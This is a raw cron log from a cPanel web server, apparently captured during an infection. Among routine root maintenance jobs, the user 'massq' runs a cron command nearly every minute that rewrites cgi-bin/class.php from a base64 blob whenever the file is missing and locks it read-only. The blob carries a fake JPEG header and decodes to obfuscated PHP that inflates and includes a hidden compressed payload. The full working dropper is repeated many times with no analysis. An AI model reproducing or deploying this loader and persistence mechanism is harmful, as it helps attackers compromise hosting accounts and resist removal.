Sep  7 07:32:01 server CROND[2113]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:32:01 server CROND[2115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:32:01 server CROND[2114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:33:01 server CROND[2512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:33:01 server CROND[2513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:33:01 server CROND[2514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:34:01 server CROND[2934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:34:01 server CROND[2935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:34:01 server CROND[2936]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:35:01 server CROND[3321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:35:01 server CROND[3323]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 07:35:01 server CROND[3325]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 07:35:01 server CROND[3332]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:35:01 server CROND[3330]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:35:01 server CROND[3333]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 07:35:01 server CROND[3329]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 07:35:01 server CROND[3338]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:35:01 server CROND[3334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:36:01 server CROND[4171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:36:01 server CROND[4170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:36:01 server CROND[4172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:37:01 server CROND[4653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:37:01 server CROND[4655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:37:01 server CROND[4654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:38:01 server CROND[5110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:38:01 server CROND[5109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:38:01 server CROND[5112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:39:01 server CROND[5497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:39:01 server CROND[5498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:39:01 server CROND[5496]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:39:01 server CROND[5499]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 07:40:01 server CROND[5929]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 07:40:01 server CROND[5930]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:40:01 server CROND[5928]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 07:40:01 server CROND[5932]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:40:01 server CROND[5934]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 07:40:01 server CROND[5943]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:40:01 server CROND[5941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:40:01 server CROND[5940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:41:02 server CROND[6816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:41:02 server CROND[6817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:41:02 server CROND[6818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:42:01 server CROND[7296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:42:01 server CROND[7297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:42:01 server CROND[7298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:42:01 server CROND[7299]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 07:43:01 server CROND[7697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:43:01 server CROND[7698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:43:01 server CROND[7700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:44:01 server CROND[8104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:44:01 server CROND[8105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
